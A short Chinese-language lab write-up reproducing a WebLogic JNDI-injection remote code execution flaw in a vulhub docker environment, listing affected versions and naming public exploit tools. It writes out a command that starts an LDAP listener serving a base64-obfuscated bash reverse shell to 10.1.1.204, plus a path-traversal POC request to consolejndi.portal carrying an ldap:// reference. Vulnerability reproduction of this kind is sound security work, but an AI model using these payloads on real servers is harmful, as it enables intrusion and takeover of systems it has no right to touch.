漏洞简介
该漏洞为Weblogic的远程代码执行漏洞,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。
影响版本
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
漏洞复现
使用vulhub CVE-2020-14882搭建漏洞环境,docker-compose up -d
开启weblogic 12.2.1.3服务器
1、启动ldap监听
使用JNDI注入工具开启ldap监听
可以用:https://github.com/welk1n/JNDI-Injection-Exploit
或者这个:https://github.com/feihong-cs/JNDIExploit
两者区别在于feihong-cs大佬的项目可以在http header中设置cmd参数来回显,如下图:
这里使用第一个项目
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMjA0LzU1NTUgMD4mMQ==}|{base64,-d}|{/bin/bash,-i}" -A 10.1.1.204 |
执行反弹shell命令,命令用base64编码以避免特殊符号被转义
因为这个docker容器内部无ping命令,所以直接反弹shell,不用dnslog测试
2、发送payload
POC:
1 | POST /console/css/%252e%252e%252f/consolejndi.portal |
注意ldap://10.1.1;204:1389/sptwli;AdminServer
的两个;
获取到shell